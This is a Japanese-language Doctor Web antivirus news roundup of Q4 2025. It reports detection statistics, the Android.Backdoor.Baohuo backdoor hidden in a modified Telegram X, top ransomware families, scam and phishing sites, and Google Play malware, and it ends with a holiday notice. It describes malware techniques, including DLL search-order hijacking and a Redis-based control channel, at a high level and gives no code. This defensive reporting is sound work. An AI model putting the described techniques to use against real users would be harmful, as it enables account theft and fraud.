10月、Doctor WebはメッセンジャーアプリTelegram Xの非公式改変版に潜む危険なバックドアAndroid.Backdoor.Baohuo.1.originを発見しました。このバックドアは悪意のあるWebサイトやサードパーティアプリストアから拡散され、TelegramアカウントのログインIDとパスワードなどといった機密情報を窃取します。また、Android.Backdoor.Baohuo.1.originを使用することで脅威アクターは被害者のアカウントを乗っ取り、メッセンジャー内でユーザーに成り代わってさまざまな操作を密かに実行することが可能です。たとえば、ユーザーをTelegramチャンネルに参加・退出させたり、特定のチャットや新規認証済みデバイスを非表示にしたりすることができます。脅威アクターによるこのバックドアの操作には複数の方法が使用されており、そのうちの1つがRedisデータベースを経由するというものです。これは、Android脅威ではこれまでに例を見ない手法です。合計で約58,000台のデバイスがAndroid.Backdoor.Baohuo.1.originに感染しており、これにはおよそ3千の異なるモデルのスマートフォンやタブレット、TVボックスセット、そしてAndroidベースの車載OSを搭載した自動車が含まれています。

Google Playでは第4四半期を通して新たなマルウェアが発見され、それらの中には被害者を有料サービスに登録するトロイの木馬Android.Jokerや、詐欺スキームに用いられるさまざまな偽アプリAndroid.FakeAppが含まれていました。これらは合計で263,000回以上ダウンロードされています。

2025年第4四半期の主な傾向

広告を表示するトロイの木馬が引き続き最も多く検出されたAndroid脅威となる
バンキング型トロイの木馬による攻撃件数が増加
メッセンジャーTelegram Xの改変版に組み込まれた危険なバックドアAndroid.Backdoor.Baohuo.1.originが拡散される
Google Playに新たな悪意のあるアプリが出現

Dr.Web Security Space for mobile devicesによる統計

Android.MobiDash.7859: 迷惑な広告を表示させるトロイの木馬です。開発者によってアプリケーション内に埋め込まれる特殊なソフトウェアモジュールです。
Android.FakeApp.1600: 設定にハードコードされたWebサイトを開くトロイの木馬アプリです。既知の亜種ではオンラインカジノのサイトが開かれます。
Android.Click.1812: さまざまなWebサイトをバックグラウンドで密かに読み込むことができる、悪意のあるWhatsAppメッセンジャーMod（改造版）の検出名です。
Android.Packed.57.origin: 悪意のあるアプリ（バンキング型トロイの木馬Android.SpyMaxの一部の亜種など）などを保護するために使用される難読化ツールの検出名です。
Android.Triada.5847: Android.Triadaトロイの木馬を検出や解析から保護するよう設計されたパッカーの検出名です。多くの場合、このパッカーはAndroid.Triadaが埋め込まれた悪意のあるTelegramメッセンジャーMod（改造版）と一緒に用いられます。

Program.CloudInject.5
Program.CloudInject.1: クラウドサービスCloudInjectと、同名のAndroidユーティリティ（Tool.CloudInjectとしてDr.Webウイルスデータベースに追加されています）を使用して改造されたAndroidアプリケーションの検出名です。アプリケーションはリモートサーバー上で改造されますが、その際、改造を行うユーザーはアプリに何が追加されるのか具体的な改造内容をコントロールすることができません。また、これらのアプリケーションは危険なシステム権限を複数要求します。改造後、ユーザーはこれらアプリをリモートで管理できるようになります（アプリをブロックする、カスタムダイアログを表示する、他のソフトウェアのインストールや削除を追跡するなど）。
Program.FakeAntiVirus.1: アンチウイルスソフトウェアを模倣するアドウェアアプリケーションの検出名です。これらのアプリは存在しない脅威について偽の通知をすることでユーザーを騙し、ソフトウェアの完全版を購入するよう要求します。
Program.FakeMoney.11: さまざまなタスクを完了することでお金を稼ぐことができるとうたうAndroidアプリケーションの検出名です。このアプリはタスクが完了するたびに報酬が貯まっていくかのように見せかけます。「稼いだ」お金を引き出すために（多くの場合、一般的に広く使用されている支払いシステムや銀行を指定されます）、ユーザーは一定の金額を貯める必要があるとされていますが、たとえその金額が貯まったとしても実際にお金を手にすることはできません。このウイルスレコードは、そのようなアプリのソースコードを基に作成された他の望ましくないソフトウェアの検出にも使用されます。
Program.SnoopPhone.1.origin: Androidユーザーのアクティビティを監視するよう設計されたアプリケーションです。このアプリを使用することで、第三者がSMSを読む、通話に関する情報を収集する、デバイスの位置を追跡する、周囲の音声を録音することが可能になります。

Tool.NPMod.3
Tool.NPMod.1
Tool.NPMod.1.origin: NP Managerユーティリティを使用して改造されたAndroidアプリケーションの検出名です。そのようなアプリには特殊なモジュールが組み込まれており、改造後にデジタル署名の検証をバイパスすることができます。
Tool.LuckyPatcher.2.origin: Androidデバイスにインストールされたアプリを改変できるようにする（パッチを作成する）ツールです。アプリの動作ロジックを変更したり特定の制限を回避したりする目的で使用されます。たとえば、ユーザーはこのツールを使用することで、バンキングアプリのルートアクセス検証を無効にしたり、ゲーム内で無限のリソースを取得したりできます。パッチを追加するために、このユーティリティは特別に作成されたスクリプトをインターネットからダウンロードしますが、このスクリプトは誰でも作成して共通のデータベースに追加することができます。そのようなスクリプトの機能が悪意のあるものである場合もあることから、このツールを使用して作成されたパッチは潜在的な脅威となる可能性があります。
Tool.Androlua.1.origin: スクリプト言語Luaを使用してAndroidアプリを開発するための特別なフレームワークの、潜在的に危険なバージョンの検出名です。Luaベースアプリの主なロジックは、実行時に対応するスクリプトがインタプリタによって暗号化・復号化されるというものです。多くの場合、このフレームワークは動作するためにデフォルトで多数のシステム権限へのアクセスを要求します。その結果、フレームワークが実行するLuaスクリプトによって、取得した権限に応じたさまざまな悪意のある動作が実行される可能性があります。

Adware.AdPush.3.origin
Adware.Adpush.21846: Androidアプリに組み込まれるアドウェアモジュールのファミリーです。ユーザーを騙すような紛らわしい、広告を含んだ通知（オペレーティングシステムからの通知に似せたものなど）を表示させます。また、さまざまな機密情報を収集し、別のアプリをダウンロードしてインストールを開始することができます
Adware.Bastion.1.origin: 「最適化」中に広告を表示させる目的で、ユーザーに誤解させるような虚偽の通知（ストレージ容量不足やシステムエラーに関するものなど）を定期的に出す最適化ツールの検出名です。
Adware.Airpush.7.origin: Androidアプリに組み込まれ、さまざまな広告を表示するアドウェアモジュールのファミリーです。表示されるものはモジュールのバージョンや亜種によって異なり、広告を含む通知やポップアップウィンドウ、バナーなどがあります。多くの場合、攻撃者はユーザーにさまざまなソフトウェアをインストールするよう促してマルウェアを拡散させる目的で、これらのモジュールを使用しています。さらに、これらモジュールは個人情報を収集してリモートサーバーに送信します。
Adware.ModAd.1: その機能に特定のコードが挿入されている、WhatsAppメッセンジャーのMod（改造版）です。このコードはメッセンジャーの動作中にWebコンテンツを表示（Android WebViewコンポーネントを使用して）させることで目的のURLをロードします。これらのURLから、オンラインカジノやブックメーカー、アダルトサイトなどの広告サイトへのリダイレクトが実行されます。

Google Play上の脅威

2025年第4四半期には、Doctor Webのウイルスアナリストによって20を超える悪意のあるAndroid.JokerアプリがGoogle Play上で発見されました。Android.Jokerはユーザーを有料サービスに登録するよう設計されており、メッセンジャーやシステム最適化ツール、画像編集アプリ、動画再生アプリなどさまざまなアプリに偽装していました。

発見された悪意のあるAndroid.Jokerアプリの例：Android.Joker.2496はスマホ内のジャンクを削除するツール「Useful Cleaner」に偽装し、Android.Joker.2495の亜種の1つは動画再生アプリ「Reel Drama」を装って拡散されていた

Android.FakeAppファミリーに属する偽アプリも新たなものがいくつか発見されています。これまで同様、その一部は金融関連アプリとして拡散され、詐欺サイトを開くよう設計されていました。また別の一部はゲームを装って拡散されています。このタイプのAndroid.FakeAppは特定の条件下（ユーザーのIPアドレスが攻撃者の指定した条件に一致する場合など）でオンラインカジノやブックメーカーのサイトを開く場合があります。

ゲーム「Chicken Road Fun」に偽装したAndroid.FakeApp.1910：この偽アプリはゲームとして機能する代わりにオンラインカジノのサイトを開く場合がある

Indicators of compromise（セキュリティ侵害インジケーター）

2025年第4四半期のウイルスレビュー

Fri, 26 Dec 2025 00:00:00 GMT

2025年12月26日

Dr.Webアンチウイルスの検出統計によると、2025年第4四半期に検出された脅威の合計数は2025年第3四半期と比較して16.05%増加し、一方でユニークな脅威の数は1.13%減少しました。最も多く検出された脅威は、望ましくないアドウェアアプリ、悪意のあるスクリプト、そしてダウンローダやアドウェア型トロイの木馬を含むさまざまなマルウェアとなっています。

メールトラフィック内では、ダウンローダやパスワードスティーラー、ドロッパーなどのトロイの木馬アプリが最も多く検出されました。そのほか、エクスプロイト、バックドア、そしてさまざまな悪意のあるスクリプトも多く拡散されています。

最も多く検出された暗号化ランサムウェアは Trojan.Encoder.35534、Trojan.Encoder.41868、Trojan.Encoder.29750 となっています。

2025年10月、Doctor WebはメッセンジャーアプリTelegram Xの改変版に潜んで拡散されていた危険なバックドア Android.Backdoor.Baohuo.1.origin を発見しました。このバックドアはTelegramアカウントのログインIDとパスワードなどといった機密情報を窃取します。Android.Backdoor.Baohuo.1.origin を使用することで、脅威アクターはハッキングしたアカウントだけでなくメッセンジャーそのものを完全にコントロールすることができ、ユーザーに成り代わってさまざまな操作を実行することが可能です。

11月、Doctor Webのアンチウイルスラボはハッカー集団「Cavalry Werewolf」によるロシア政府機関を狙った標的型攻撃に関する調査レポートを公開しました。この調査において、Doctor WebのエキスパートはCavalry Werewolfが攻撃キャンペーンで使用していた多数の悪意のあるツールを特定することに成功しています。それらのツールにはオープンソースツールも含まれていました。また同調査レポートでは、ハッカー集団Cavalry Werewolfの特徴やこれらのサイバー犯罪者たちが侵害されたネットワーク内で実行する典型的なアクションについても解説しています。

12月には、Trojan.ChimeraWire と名づけられたユニークなマルウェアについて記事を公開しました。このマルウェアはWebサイトのボット対策機能にブロックされないよう人間になりすましてサイトの人気度を人為的に高めます。そのために、まず検索エンジン内で目的のサイトを自動的に検索して開き、次に悪意のあるアクターから受け取ったパラメータに従ってそのWebページ上でユーザーの操作を模倣してリンクをクリックします。Trojan.ChimeraWire はDLL検索順序ハイジャッキング脆弱性を悪用する悪意のあるプログラムを複数使用することでコンピューターを感染させ、検出を回避するためにアンチデバッグ手法も用います。

第4四半期を通して、素早く簡単に稼ぐことができると約束する新たな詐欺サイトがDoctor Webのインターネットアナリストによって特定されています。フィッシングサイトや偽のマーケットプレイスサイトも新たなものが確認されました。

Google Playでは引き続き新たな悪意のあるアプリが発見されています。それらの中にはAndroidユーザーを有料サービスに登録するトロイの木馬 Android.Joker や、さまざまな詐欺スキームに用いられる悪意のあるアプリ Android.FakeApp が含まれていました。また、Dr.Web Security Space for mobile devicesによって収集された検出統計から、Android向けバンキング型トロイの木馬の活動が活発化していることが明らかになりました。

2025年第4四半期の主な傾向

検出された脅威の合計数が増加
攻撃に使用されるユニークな脅威の数が減少
ランサムウェアに暗号化されたファイルの復号化リクエスト数が増加
Androidユーザーを標的としたバンキング型トロイの木馬の活動が活発化
AndroidユーザーのTelegramアカウントをハッキングするバックドア Android.Backdoor.Baohuo.1.origin が拡散される
Google Playに新たな悪意のあるアプリが出現

Doctor Webサーバーによる統計

2025年第4四半期に最も多く検出された脅威：

Trojan.Siggen31.34463: 感染したシステムにさまざまなマイニング型トロイの木馬やアドウェアをダウンロードするよう設計された、Go言語で記述されたトロイの木馬です。このマルウェアは %appdata%\utorrent\lib.dll に置かれるDLLファイルで、Torrentクライアント「uTorrent」のDLL検索順序ハイジャッキング脆弱性を悪用することで起動します。
Adware.Downware.20091: 海賊版ソフトウェアのインストーラとして拡散されていることの多いアドウェアです。
VBS.KeySender.7: mode extensions、разработчика、розробника というテキストを含むウィンドウを無限ループで検索し、Escapeキー押下イベントを送信してそれらを強制的に閉じる悪意のあるスクリプトです。
Trojan.BPlug.4268: WinSafeブラウザ拡張機能の悪意のあるコンポーネントの検出名です。このコンポーネントはブラウザに迷惑な広告を表示させるJavaScriptファイルです。
Adware.Siggen.33379: 広告を表示させるために別のマルウェアによってシステムにインストールされる偽の「Adblok Plus」（ブラウザ用広告ブロッカー）です。

メールトラフィック内で検出された脅威の統計

W97M.DownLoader.2938: Microsoft Officeドキュメントの脆弱性を悪用するダウンローダ型トロイの木馬のファミリーです。感染させたコンピューターに別の悪意のあるプログラムをダウンロードすることもできます。
Exploit.CVE-2017-11882.123
Exploit.CVE-2018-0798.4: Microsoft Officeソフトウェアの脆弱性を悪用し、攻撃者が任意のコードを実行できるようにするエクスプロイトです。
Trojan.AutoIt.1413: AutoItスクリプト言語で記述された悪意のあるアプリ Trojan.AutoIt.289 の、パックされたバージョンの検出名です。マイニング型トロイの木馬やバックドア、自己増殖型モジュールなど複数の悪意のあるアプリグループの一部として拡散されます。Trojan.AutoIt.289 はメインのペイロードの検出を困難にする、さまざまな悪意のある動作を実行します。
JS.Phishing.791: フィッシングページを生成する悪意のあるJavaScriptスクリプトです。

暗号化ランサムウェア

2025年第4四半期にDoctor Webテクニカルサポートサービスに寄せられた、ランサムウェアによって暗号化されたファイルの復号化リクエスト数は、2025年第3四半期と比較して1.15%増加しました。

Doctor Webのテクニカルサポートサービスに寄せられた復号化リクエスト数の推移：

2025年第4四半期に最も多く確認された暗号化ランサムウェア（ユーザーからのリクエスト全体に占める割合）：

Trojan.Encoder.35534 — 24.90%
Trojan.Encoder.41868 — 4.21%
Trojan.Encoder.29750 — 3.42%
Trojan.Encoder.26996 — 2.68%
Trojan.Encoder.30356 — 0.38%

インターネット詐欺

2025年第4四半期、Doctor Webのインターネットアナリストは新たな偽のマーケットプレイスサイトが出現していることを確認しました。詐欺師はマーケットプレイスを装ったサイトで、ルーレットに似た回転式のゲームに参加して賞品を獲得するようユーザーを誘っています。ユーザーは何度か挑戦した後「ツキが回って」きますが、賞品を受け取るためにまず送料を、そして次は保険料、その次は税金、などといった具合に次から次へと支払いを求められます。中には、賞品の在庫がないため代わりに現金で受け取ることができると告げられるケースも確認されています。ユーザーが同意すると、この場合も保険料やアカウント有効化のためなどと称して支払いを要求されます。

「賞品の抽選」を提供する偽のマーケットプレイスサイトの例

第4四半期には、架空の劇場チケットを販売するサイトもDoctor Webの望ましくないサイトや悪意のあるサイトのデータベースに追加されました。こうしたサイトでは人気の舞台公演チケットを、多くの場合魅力的な価格で提供しています。しかしながら、購入代金を支払ったユーザーがチケットを受け取ることはなく、詐欺師にお金をあげてしまうも同然の結果に終わります。

存在しない劇場チケットを販売する詐欺サイトの1つ

他にも、プライベートシアターのサイトを装って映画チケットを販売するサイトが発見されています。これらのサイトでも、購入代金を支払った被害者がチケットを受け取ることはありません。

プライベートシアターの偽サイト

フィッシングサイトも複数発見され、そのうちのいくつかはPCゲームプラットフォーム「Steam」の偽サイトでした。悪意のあるアクターは、偽の認証画面でアカウント名とパスワードを入力するよう求めることでユーザーのアカウントデータを窃取しようとしていました。

本物の「Steam」サイトを模倣し、アカウントにログインするよう求めるフィッシングサイト

存在しない投資プラットフォームにユーザーを誘い込む手法も引き続き横行しています。発見されたサイトの1つは米国在住のロシア語話者を標的とし、「Federal Invest」と呼ばれるプロジェクトに250ドル投資すれば「3か月で最大90,000ドル得ることができる」と持ちかけています。さらに、このプロジェクトの発足にはドナルド・トランプ氏が関わっていると主張しています。

「儲かる投資プロジェクト」に参加できると持ちかける詐欺サイト

また別の詐欺サイトはウズベキスタンのユーザーを標的に大手持株会社と関連があるとするプロジェクトを宣伝し、このプロジェクトに参加すれば最初の1か月だけで1500万スム以上の収入を得ることができるとうたっています。

「投資プロジェクト」に参加することで多額の利益を得ることができるとウズベキスタンの住民に約束する詐欺サイト

Find out more about Dr.Web non-recommended sites

モバイルデバイスを脅かす悪意のあるプログラムや望ましくないプログラム

Dr.Web Security Space for mobile devices（モバイルデバイス向けDr.Web Security Space）によって収集された検出統計によると、2025年第4四半期には広告を表示させるトロイの木馬 Android.MobiDash と Android.HiddenAds が、活動には減少がみられたものの、引き続き最も多く検出された脅威となりました。Android.Siggen ファミリーに属する多様な機能を持つマルウェアが3位に上昇しています。バンキング型トロイの木馬の活動は第4四半期を通して活発化し、なかでも最も大きな増加をみせたのは Android.Banker ファミリーでした。

最も多く検出された望ましくないアプリケーションは、クラウドサービスCloudInjectを使用して改造されたアプリ Program.CloudInject となりました。最も多く検出されたリスクウェアはNP Managerユーティリティを使用して改造されたアプリ Tool.NPMod となり、最も多く検出されたアドウェアは開発者によってAndroidアプリに組み込まれるモジュール Adware.Adpush でした。

10月、Doctor WebはメッセンジャーアプリTelegram Xの改変版に埋め込まれた危険なバックドア Android.Backdoor.Baohuo.1.origin を発見しました。このマルウェアは機密情報を窃取し、動作ロジックを変更することで攻撃者が被害者のアカウントとメッセンジャー自体の両方を操作できるようにします。

Google Playでは第4四半期を通して新たな脅威が発見され、それらの中にはユーザーを有料サービスに登録するトロイの木馬 Android.Joker や、詐欺スキームに用いられる悪意のあるアプリ Android.FakeApp が含まれていました。

2025年第4四半期のモバイルマルウェアに関連した注目すべきイベント：

アドウェア型トロイの木馬が引き続き最も多く検出されたAndroid脅威となる
バンキング型トロイの木馬 Android.Banker の活動が増加
メッセンジャーアプリTelegram Xの改変版に潜む危険なバックドア Android.Backdoor.Baohuo.1.origin が発見される
Google Playに新たな悪意のあるアプリが出現

2025 年第4四半期のモバイルデバイスを取り巻くセキュリティ脅威の状況についての詳細はこちらのレビューをご覧ください。

年末年始休業のお知らせ

Fri, 12 Dec 2025 00:00:00 GMT

2025年12月12日

株式会社Doctor Web Pacific

年末・年始は下記の期間休業させていただきます。

2025年12月29日（月）～2026年1月4日（日）

年明けは、2026年1月5日（月）9:30より通常通り営業いたします。